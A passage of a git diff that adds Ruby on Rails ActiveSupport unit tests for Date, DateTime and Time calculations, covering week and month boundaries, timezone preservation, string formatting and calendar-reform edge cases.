+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 29, 0, 0, 0).end_of_week #wednesday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 30, 0, 0, 0).end_of_week #thursday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 31, 0, 0, 0).end_of_week #friday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 9, 01, 0, 0, 0).end_of_week #saturday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 9, 02, 0, 0, 0).end_of_week #sunday
+  end
+
+  def test_end_of_month
+    assert_equal date_time_init(2005, 3, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2005, 3, 20, 10, 10, 10).end_of_month
+    assert_equal date_time_init(2005, 2, 28, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2005, 2, 20, 10, 10, 10).end_of_month
+    assert_equal date_time_init(2005, 4, 30, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2005, 4, 20, 10, 10, 10).end_of_month
+  end
+
+  def test_end_of_year
+    assert_equal date_time_init(2007, 12, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 2, 22, 10, 10, 10).end_of_year
+    assert_equal date_time_init(2007, 12, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 12, 31, 10, 10, 10).end_of_year
+  end
+
+  def test_monday_with_default_beginning_of_week_set
+    with_bw_default(:saturday) do
+      assert_equal date_time_init(2012, 9, 17, 0, 0, 0), date_time_init(2012, 9, 18, 0, 0, 0).monday
+    end
+  end
+
+  def test_sunday_with_default_beginning_of_week_set
+    with_bw_default(:wednesday) do
+      assert_equal date_time_init(2012, 9, 23, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2012, 9, 19, 0, 0, 0).sunday
+    end
+  end
+
+  def test_on_weekend_on_saturday
+    assert date_time_init(2015, 1, 3, 0, 0, 0).on_weekend?
+    assert date_time_init(2015, 1, 3, 15, 15, 10).on_weekend?
+  end
+
+  def test_on_weekend_on_sunday
+    assert date_time_init(2015, 1, 4, 0, 0, 0).on_weekend?
+    assert date_time_init(2015, 1, 4, 15, 15, 10).on_weekend?
+  end
+
+  def test_on_weekend_on_monday
+    assert_not date_time_init(2015, 1, 5, 0, 0, 0).on_weekend?
+    assert_not date_time_init(2015, 1, 5, 15, 15, 10).on_weekend?
+  end
+
+  def test_on_weekday_on_sunday
+    assert_not date_time_init(2015, 1, 4, 0, 0, 0).on_weekday?
+    assert_not date_time_init(2015, 1, 4, 15, 15, 10).on_weekday?
+  end
+
+  def test_on_weekday_on_monday
+    assert date_time_init(2015, 1, 5, 0, 0, 0).on_weekday?
+    assert date_time_init(2015, 1, 5, 15, 15, 10).on_weekday?
+  end
+
+  def with_bw_default(bw = :monday)
+    old_bw = Date.beginning_of_week
+    Date.beginning_of_week = bw
+    yield
+  ensure
+    Date.beginning_of_week = old_bw
+  end
+end
diff --git a/activesupport/test/core_ext/date_and_time_compatibility_test.rb b/activesupport/test/core_ext/date_and_time_compatibility_test.rb
new file mode 100644
index 0000000000..266829a452
--- /dev/null
+++ b/activesupport/test/core_ext/date_and_time_compatibility_test.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "time_zone_test_helpers"
+
+class DateAndTimeCompatibilityTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def setup
+    @utc_time = Time.utc(2016, 4, 23, 14, 11, 12)
+    @date_time = DateTime.new(2016, 4, 23, 14, 11, 12, 0)
+    @utc_offset = 3600
+    @system_offset = -14400
+    @zone = ActiveSupport::TimeZone["London"]
+  end
+
+  def test_time_to_time_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = Time.new(2016, 4, 23, 15, 11, 12, 3600)
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+        assert_equal source.object_id, time.object_id
+      end
+    end
+  end
+
+  def test_time_to_time_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = Time.new(2016, 4, 23, 15, 11, 12, 3600)
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+        assert_not_equal source.object_id, time.object_id
+      end
+    end
+  end
+
+  def test_time_to_time_frozen_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = Time.new(2016, 4, 23, 15, 11, 12, 3600).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+        assert_equal source.object_id, time.object_id
+        assert_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_time_to_time_frozen_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = Time.new(2016, 4, 23, 15, 11, 12, 3600).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+        assert_not_equal source.object_id, time.object_id
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_datetime_to_time_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24))
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_datetime_to_time_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24))
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_datetime_to_time_frozen_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24)).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_datetime_to_time_frozen_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24)).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_twz_to_time_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = ActiveSupport::TimeWithZone.new(@utc_time, @zone)
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+
+        source = ActiveSupport::TimeWithZone.new(@date_time, @zone)
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @date_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_twz_to_time_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = ActiveSupport::TimeWithZone.new(@utc_time, @zone)
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+
+        source = ActiveSupport::TimeWithZone.new(@date_time, @zone)
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @date_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_twz_to_time_frozen_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = ActiveSupport::TimeWithZone.new(@utc_time, @zone).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+
+        source = ActiveSupport::TimeWithZone.new(@date_time, @zone).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @date_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_twz_to_time_frozen_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = ActiveSupport::TimeWithZone.new(@utc_time, @zone).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+
+        source = ActiveSupport::TimeWithZone.new(@date_time, @zone).freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @date_time, time.getutc
+        assert_instance_of Time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_string_to_time_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = "2016-04-23T15:11:12+01:00"
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_string_to_time_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = "2016-04-23T15:11:12+01:00"
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_string_to_time_frozen_preserves_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        source = "2016-04-23T15:11:12+01:00".freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @utc_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+
+  def test_string_to_time_frozen_does_not_preserve_time_zone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        source = "2016-04-23T15:11:12+01:00".freeze
+        time = source.to_time
+
+        assert_instance_of Time, time
+        assert_equal @utc_time, time.getutc
+        assert_equal @system_offset, time.utc_offset
+        assert_not_predicate time, :frozen?
+      end
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
new file mode 100644
index 0000000000..b8672eac4b
--- /dev/null
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -0,0 +1,415 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "core_ext/date_and_time_behavior"
+require "time_zone_test_helpers"
+
+class DateExtCalculationsTest < ActiveSupport::TestCase
+  def date_time_init(year, month, day, *args)
+    Date.new(year, month, day)
+  end
+
+  include DateAndTimeBehavior
+  include TimeZoneTestHelpers
+
+  def test_yesterday_in_calendar_reform
+    assert_equal Date.new(1582, 10, 4), Date.new(1582, 10, 15).yesterday
+  end
+
+  def test_tomorrow_in_calendar_reform
+    assert_equal Date.new(1582, 10, 15), Date.new(1582, 10, 4).tomorrow
+  end
+
+  def test_to_s
+    date = Date.new(2005, 2, 21)
+    assert_equal "2005-02-21",          date.to_s
+    assert_equal "21 Feb",              date.to_s(:short)
+    assert_equal "February 21, 2005",   date.to_s(:long)
+    assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
+    assert_equal "2005-02-21",          date.to_s(:db)
+    assert_equal "21 Feb 2005",         date.to_s(:rfc822)
+    assert_equal "2005-02-21",          date.to_s(:iso8601)
+  end
+
+  def test_to_s_with_single_digit_day
+    date = Date.new(2005, 2, 1)
+    assert_equal "2005-02-01",          date.to_s
+    assert_equal "01 Feb",              date.to_s(:short)
+    assert_equal "February 01, 2005",   date.to_s(:long)
+    assert_equal "February 1st, 2005",  date.to_s(:long_ordinal)
+    assert_equal "2005-02-01",          date.to_s(:db)
+    assert_equal "01 Feb 2005",         date.to_s(:rfc822)
+    assert_equal "2005-02-01",          date.to_s(:iso8601)
+  end
+
+  def test_readable_inspect
+    assert_equal "Mon, 21 Feb 2005", Date.new(2005, 2, 21).readable_inspect
+    assert_equal Date.new(2005, 2, 21).readable_inspect, Date.new(2005, 2, 21).inspect
+  end
+
+  def test_to_time
+    with_env_tz "US/Eastern" do
+      assert_equal Time, Date.new(2005, 2, 21).to_time.class
+      assert_equal Time.local(2005, 2, 21), Date.new(2005, 2, 21).to_time
+      assert_equal Time.local(2005, 2, 21).utc_offset, Date.new(2005, 2, 21).to_time.utc_offset
+    end
+
+    silence_warnings do
+      0.upto(138) do |year|
+        [:utc, :local].each do |format|
+          assert_equal year, Date.new(year).to_time(format).year
+        end
+      end
+    end
+
+    assert_raise(ArgumentError) do
+      Date.new(2005, 2, 21).to_time(:tokyo)
+    end
+  end
+
+  def test_compare_to_time
+    assert Date.yesterday < Time.now
+  end
+
+  def test_to_datetime
+    assert_equal DateTime.civil(2005, 2, 21), Date.new(2005, 2, 21).to_datetime
+    assert_equal 0, Date.new(2005, 2, 21).to_datetime.offset # use UTC offset
+    assert_equal ::Date::ITALY, Date.new(2005, 2, 21).to_datetime.start # use Ruby's default start value
+  end
+
+  def test_to_date
+    assert_equal Date.new(2005, 2, 21), Date.new(2005, 2, 21).to_date
+  end
+
+  def test_change
+    assert_equal Date.new(2005, 2, 21), Date.new(2005, 2, 11).change(day: 21)
+    assert_equal Date.new(2007, 5, 11), Date.new(2005, 2, 11).change(year: 2007, month: 5)
+    assert_equal Date.new(2006, 2, 22), Date.new(2005, 2, 22).change(year: 2006)
+    assert_equal Date.new(2005, 6, 22), Date.new(2005, 2, 22).change(month: 6)
+  end
+
+  def test_sunday
+    assert_equal Date.new(2008, 3, 2), Date.new(2008, 3, 02).sunday
+    assert_equal Date.new(2008, 3, 2), Date.new(2008, 2, 29).sunday
+  end
+
+  def test_beginning_of_week_in_calendar_reform
+    assert_equal Date.new(1582, 10, 1), Date.new(1582, 10, 15).beginning_of_week #friday
+  end
+
+  def test_end_of_week_in_calendar_reform
+    assert_equal Date.new(1582, 10, 17), Date.new(1582, 10, 4).end_of_week #thursday
+  end
+
+  def test_end_of_year
+    assert_equal Date.new(2008, 12, 31).to_s, Date.new(2008, 2, 22).end_of_year.to_s
+  end
+
+  def test_end_of_month
+    assert_equal Date.new(2005, 3, 31), Date.new(2005, 3, 20).end_of_month
+    assert_equal Date.new(2005, 2, 28), Date.new(2005, 2, 20).end_of_month
+    assert_equal Date.new(2005, 4, 30), Date.new(2005, 4, 20).end_of_month
+  end
+
+  def test_prev_year_in_leap_years
+    assert_equal Date.new(1999, 2, 28), Date.new(2000, 2, 29).prev_year
+  end
+
+  def test_prev_year_in_calendar_reform
+    assert_equal Date.new(1582, 10, 4), Date.new(1583, 10, 14).prev_year
+  end
+
+  def test_last_year
+    assert_equal Date.new(2004, 6, 5),  Date.new(2005, 6, 5).last_year
+  end
+
+  def test_last_year_in_leap_years
+    assert_equal Date.new(1999, 2, 28), Date.new(2000, 2, 29).last_year
+  end
+
+  def test_last_year_in_calendar_reform
+    assert_equal Date.new(1582, 10, 4), Date.new(1583, 10, 14).last_year
+  end
+
+  def test_next_year_in_leap_years
+    assert_equal Date.new(2001, 2, 28), Date.new(2000, 2, 29).next_year
+  end
+
+  def test_next_year_in_calendar_reform
+    assert_equal Date.new(1582, 10, 4), Date.new(1581, 10, 10).next_year
+  end
+
+  def test_advance
+    assert_equal Date.new(2006, 2, 28), Date.new(2005, 2, 28).advance(years: 1)
+    assert_equal Date.new(2005, 6, 28), Date.new(2005, 2, 28).advance(months: 4)
+    assert_equal Date.new(2005, 3, 21), Date.new(2005, 2, 28).advance(weeks: 3)
+    assert_equal Date.new(2005, 3, 5), Date.new(2005, 2, 28).advance(days: 5)
+    assert_equal Date.new(2012, 9, 28), Date.new(2005, 2, 28).advance(years: 7, months: 7)
+    assert_equal Date.new(2013, 10, 3), Date.new(2005, 2, 28).advance(years: 7, months: 19, days: 5)
+    assert_equal Date.new(2013, 10, 17), Date.new(2005, 2, 28).advance(years: 7, months: 19, weeks: 2, days: 5)
+    assert_equal Date.new(2005, 2, 28), Date.new(2004, 2, 29).advance(years: 1) #leap day plus one year
+  end
+
+  def test_advance_does_first_years_and_then_days
+    assert_equal Date.new(2012, 2, 29), Date.new(2011, 2, 28).advance(years: 1, days: 1)
+    # If day was done first we would jump to 2012-03-01 instead.
+  end
+
+  def test_advance_does_first_months_and_then_days
+    assert_equal Date.new(2010, 3, 29), Date.new(2010, 2, 28).advance(months: 1, days: 1)
+    # If day was done first we would jump to 2010-04-01 instead.
+  end
+
+  def test_advance_in_calendar_reform
+    assert_equal Date.new(1582, 10, 15), Date.new(1582, 10, 4).advance(days: 1)
+    assert_equal Date.new(1582, 10, 4), Date.new(1582, 10, 15).advance(days: -1)
+    5.upto(14) do |day|
+      assert_equal Date.new(1582, 10, 4), Date.new(1582, 9, day).advance(months: 1)
+      assert_equal Date.new(1582, 10, 4), Date.new(1582, 11, day).advance(months: -1)
+      assert_equal Date.new(1582, 10, 4), Date.new(1581, 10, day).advance(years: 1)
+      assert_equal Date.new(1582, 10, 4), Date.new(1583, 10, day).advance(years: -1)
+    end
+  end
+
+  def test_last_week
+    assert_equal Date.new(2005, 5, 9), Date.new(2005, 5, 17).last_week
+    assert_equal Date.new(2006, 12, 25), Date.new(2007, 1, 7).last_week
+    assert_equal Date.new(2010, 2, 12), Date.new(2010, 2, 19).last_week(:friday)
+    assert_equal Date.new(2010, 2, 13), Date.new(2010, 2, 19).last_week(:saturday)
+    assert_equal Date.new(2010, 2, 27), Date.new(2010, 3, 4).last_week(:saturday)
+  end
+
+  def test_next_week_in_calendar_reform
+    assert_equal Date.new(1582, 10, 15), Date.new(1582, 9, 30).next_week(:friday)
+    assert_equal Date.new(1582, 10, 18), Date.new(1582, 10, 4).next_week
+  end
+
+  def test_last_month_on_31st
+    assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).last_month
+  end
+
+  def test_last_quarter_on_31st
+    assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).last_quarter
+  end
+
+  def test_yesterday_constructor
+    assert_equal Date.current - 1, Date.yesterday
+  end
+
+  def test_yesterday_constructor_when_zone_is_not_set
+    with_env_tz "UTC" do
+      with_tz_default do
+        assert_equal(Date.today - 1, Date.yesterday)
+      end
+    end
+  end
+
+  def test_yesterday_constructor_when_zone_is_set
+    with_env_tz "UTC" do
+      with_tz_default ActiveSupport::TimeZone["Eastern Time (US & Canada)"] do # UTC -5
+        Time.stub(:now, Time.local(2000, 1, 1)) do
+          assert_equal Date.new(1999, 12, 30), Date.yesterday
+        end
+      end
+    end
+  end
+
+  def test_tomorrow_constructor
+    assert_equal Date.current + 1, Date.tomorrow
+  end
+
+  def test_tomorrow_constructor_when_zone_is_not_set
+    with_env_tz "UTC" do
+      with_tz_default do
+        assert_equal(Date.today + 1, Date.tomorrow)
+      end
+    end
+  end
+
+  def test_tomorrow_constructor_when_zone_is_set
+    with_env_tz "UTC" do
+      with_tz_default ActiveSupport::TimeZone["Europe/Paris"] do # UTC +1
+        Time.stub(:now, Time.local(1999, 12, 31, 23)) do
+          assert_equal Date.new(2000, 1, 2), Date.tomorrow
+        end
+      end
+    end
+  end
+
+  def test_since
+    assert_equal Time.local(2005, 2, 21, 0, 0, 45), Date.new(2005, 2, 21).since(45)
+  end
+
+  def test_since_when_zone_is_set
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "UTC" do
+      with_tz_default zone do
+        assert_equal zone.local(2005, 2, 21, 0, 0, 45), Date.new(2005, 2, 21).since(45)
+        assert_equal zone, Date.new(2005, 2, 21).since(45).time_zone
+      end
+    end
+  end
+
+  def test_ago
+    assert_equal Time.local(2005, 2, 20, 23, 59, 15), Date.new(2005, 2, 21).ago(45)
+  end
+
+  def test_ago_when_zone_is_set
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "UTC" do
+      with_tz_default zone do
+        assert_equal zone.local(2005, 2, 20, 23, 59, 15), Date.new(2005, 2, 21).ago(45)
+        assert_equal zone, Date.new(2005, 2, 21).ago(45).time_zone
+      end
+    end
+  end
+
+  def test_beginning_of_day
+    assert_equal Time.local(2005, 2, 21, 0, 0, 0), Date.new(2005, 2, 21).beginning_of_day
+  end
+
+  def test_middle_of_day
+    assert_equal Time.local(2005, 2, 21, 12, 0, 0), Date.new(2005, 2, 21).middle_of_day
+  end
+
+  def test_beginning_of_day_when_zone_is_set
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "UTC" do
+      with_tz_default zone do
+        assert_equal zone.local(2005, 2, 21, 0, 0, 0), Date.new(2005, 2, 21).beginning_of_day
+        assert_equal zone, Date.new(2005, 2, 21).beginning_of_day.time_zone
+      end
+    end
+  end
+
+  def test_end_of_day
+    assert_equal Time.local(2005, 2, 21, 23, 59, 59, Rational(999999999, 1000)), Date.new(2005, 2, 21).end_of_day
+  end
+
+  def test_end_of_day_when_zone_is_set
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "UTC" do
+      with_tz_default zone do
+        assert_equal zone.local(2005, 2, 21, 23, 59, 59, Rational(999999999, 1000)), Date.new(2005, 2, 21).end_of_day
+        assert_equal zone, Date.new(2005, 2, 21).end_of_day.time_zone
+      end
+    end
+  end
+
+  def test_all_day
+    beginning_of_day = Time.local(2011, 6, 7, 0, 0, 0)
+    end_of_day = Time.local(2011, 6, 7, 23, 59, 59, Rational(999999999, 1000))
+    assert_equal beginning_of_day..end_of_day, Date.new(2011, 6, 7).all_day
+  end
+
+  def test_all_day_when_zone_is_set
+    zone = ActiveSupport::TimeZone["Hawaii"]
+    with_env_tz "UTC" do
+      with_tz_default zone do
+        beginning_of_day = zone.local(2011, 6, 7, 0, 0, 0)
+        end_of_day = zone.local(2011, 6, 7, 23, 59, 59, Rational(999999999, 1000))
+        assert_equal beginning_of_day..end_of_day, Date.new(2011, 6, 7).all_day
+      end
+    end
+  end
+
+  def test_all_week
+    assert_equal Date.new(2011, 6, 6)..Date.new(2011, 6, 12), Date.new(2011, 6, 7).all_week
+    assert_equal Date.new(2011, 6, 5)..Date.new(2011, 6, 11), Date.new(2011, 6, 7).all_week(:sunday)
+  end
+
+  def test_all_month
+    assert_equal Date.new(2011, 6, 1)..Date.new(2011, 6, 30), Date.new(2011, 6, 7).all_month
+  end
+
+  def test_all_quarter
+    assert_equal Date.new(2011, 4, 1)..Date.new(2011, 6, 30), Date.new(2011, 6, 7).all_quarter
+  end
+
+  def test_all_year
+    assert_equal Date.new(2011, 1, 1)..Date.new(2011, 12, 31), Date.new(2011, 6, 7).all_year
+  end
+
+  def test_xmlschema
+    with_env_tz "US/Eastern" do
+      assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
+      assert_match(/^1980-06-28T00:00:00-04:?00$/, Date.new(1980, 6, 28).xmlschema)
+      # these tests are only of interest on platforms where older dates #to_time fail over to DateTime
+      if ::DateTime === Date.new(1880, 6, 28).to_time
+        assert_match(/^1880-02-28T00:00:00-05:?00$/, Date.new(1880, 2, 28).xmlschema)
+        assert_match(/^1880-06-28T00:00:00-05:?00$/, Date.new(1880, 6, 28).xmlschema) # DateTimes aren't aware of DST rules
+      end
+    end
+  end
+
+  def test_xmlschema_when_zone_is_set
+    with_env_tz "UTC" do
+      with_tz_default ActiveSupport::TimeZone["Eastern Time (US & Canada)"] do # UTC -5
+        assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
+        assert_match(/^1980-06-28T00:00:00-04:?00$/, Date.new(1980, 6, 28).xmlschema)
+      end
+    end
+  end
+
+  def test_past
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true, Date.new(1999, 12, 31).past?
+      assert_equal false, Date.new(2000, 1, 1).past?
+      assert_equal false, Date.new(2000, 1, 2).past?
+    end
+  end
+
+  def test_future
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Date.new(1999, 12, 31).future?
+      assert_equal false, Date.new(2000, 1, 1).future?
+      assert_equal true, Date.new(2000, 1, 2).future?
+    end
+  end
+
+  def test_current_returns_date_today_when_zone_not_set
+    with_env_tz "US/Central" do
+      Time.stub(:now, Time.local(1999, 12, 31, 23)) do
+        assert_equal Date.today, Date.current
+      end
+    end
+  end
+
+  def test_current_returns_time_zone_today_when_zone_is_set
+    Time.zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "US/Central" do
+      assert_equal ::Time.zone.today, Date.current
+    end
+  ensure
+    Time.zone = nil
+  end
+
+  def test_date_advance_should_not_change_passed_options_hash
+    options = { years: 3, months: 11, days: 2 }
+    Date.new(2005, 2, 28).advance(options)
+    assert_equal({ years: 3, months: 11, days: 2 }, options)
+  end
+end
+
+class DateExtBehaviorTest < ActiveSupport::TestCase
+  def test_date_acts_like_date
+    assert Date.new.acts_like_date?
+  end
+
+  def test_blank?
+    assert_not Date.new.blank?
+  end
+
+  def test_freeze_doesnt_clobber_memoized_instance_methods
+    assert_nothing_raised do
+      Date.today.freeze.inspect
+    end
+  end
+
+  def test_can_freeze_twice
+    assert_nothing_raised do
+      Date.today.freeze.freeze
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
new file mode 100644
index 0000000000..a3c2018a31
--- /dev/null
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -0,0 +1,463 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "core_ext/date_and_time_behavior"
+require "time_zone_test_helpers"
+
+class DateTimeExtCalculationsTest < ActiveSupport::TestCase
+  def date_time_init(year, month, day, hour, minute, second, usec = 0)
+    DateTime.civil(year, month, day, hour, minute, second + (usec / 1000000))
+  end
+
+  include DateAndTimeBehavior
+  include TimeZoneTestHelpers
+
+  def test_to_s
+    datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
+    assert_equal "2005-02-21 14:30:00",               datetime.to_s(:db)
+    assert_equal "14:30",                             datetime.to_s(:time)
+    assert_equal "21 Feb 14:30",                      datetime.to_s(:short)
+    assert_equal "February 21, 2005 14:30",           datetime.to_s(:long)
+    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000",   datetime.to_s(:rfc822)
+    assert_equal "February 21st, 2005 14:30",         datetime.to_s(:long_ordinal)
+    assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/,  datetime.to_s)
+
+    with_env_tz "US/Central" do
+      assert_equal "2009-02-05T14:30:05-06:00", DateTime.civil(2009, 2, 5, 14, 30, 5, Rational(-21600, 86400)).to_s(:iso8601)
+      assert_equal "2008-06-09T04:05:01-05:00", DateTime.civil(2008, 6, 9, 4, 5, 1, Rational(-18000, 86400)).to_s(:iso8601)
+      assert_equal "2009-02-05T14:30:05+00:00", DateTime.civil(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+    end
+  end
+
+  def test_next_occur
+    datetime = DateTime.new(2016, 9, 24, 0, 0) # saturday
+    assert_equal datetime.next_occurring(:monday), datetime.since(2.days)
+    assert_equal datetime.next_occurring(:tuesday), datetime.since(3.days)
+    assert_equal datetime.next_occurring(:wednesday), datetime.since(4.days)
+    assert_equal datetime.next_occurring(:thursday), datetime.since(5.days)
+    assert_equal datetime.next_occurring(:friday), datetime.since(6.days)
+    assert_equal datetime.next_occurring(:saturday), datetime.since(1.week)
+    assert_equal datetime.next_occurring(:sunday), datetime.since(1.day)
+  end
+
+  def test_prev_occur
+    datetime = DateTime.new(2016, 9, 24, 0, 0) # saturday
+    assert_equal datetime.prev_occurring(:monday), datetime.ago(5.days)
+    assert_equal datetime.prev_occurring(:tuesday), datetime.ago(4.days)
+    assert_equal datetime.prev_occurring(:wednesday), datetime.ago(3.days)
+    assert_equal datetime.prev_occurring(:thursday), datetime.ago(2.days)
+    assert_equal datetime.prev_occurring(:friday), datetime.ago(1.day)
+    assert_equal datetime.prev_occurring(:saturday), datetime.ago(1.week)
+    assert_equal datetime.prev_occurring(:sunday), datetime.ago(6.days)
+  end
+
+  def test_readable_inspect
+    datetime = DateTime.new(2005, 2, 21, 14, 30, 0)
+    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000", datetime.readable_inspect
+    assert_equal datetime.readable_inspect, datetime.inspect
+  end
+
+  def test_custom_date_format
+    Time::DATE_FORMATS[:custom] = "%Y%m%d%H%M%S"
+    assert_equal "20050221143000", DateTime.new(2005, 2, 21, 14, 30, 0).to_s(:custom)
+    Time::DATE_FORMATS.delete(:custom)
+  end
+
+  def test_localtime
+    with_env_tz "US/Eastern" do
+      assert_instance_of Time, DateTime.new(2016, 3, 11, 15, 11, 12, 0).localtime
+      assert_equal Time.local(2016, 3, 11, 10, 11, 12), DateTime.new(2016, 3, 11, 15, 11, 12, 0).localtime
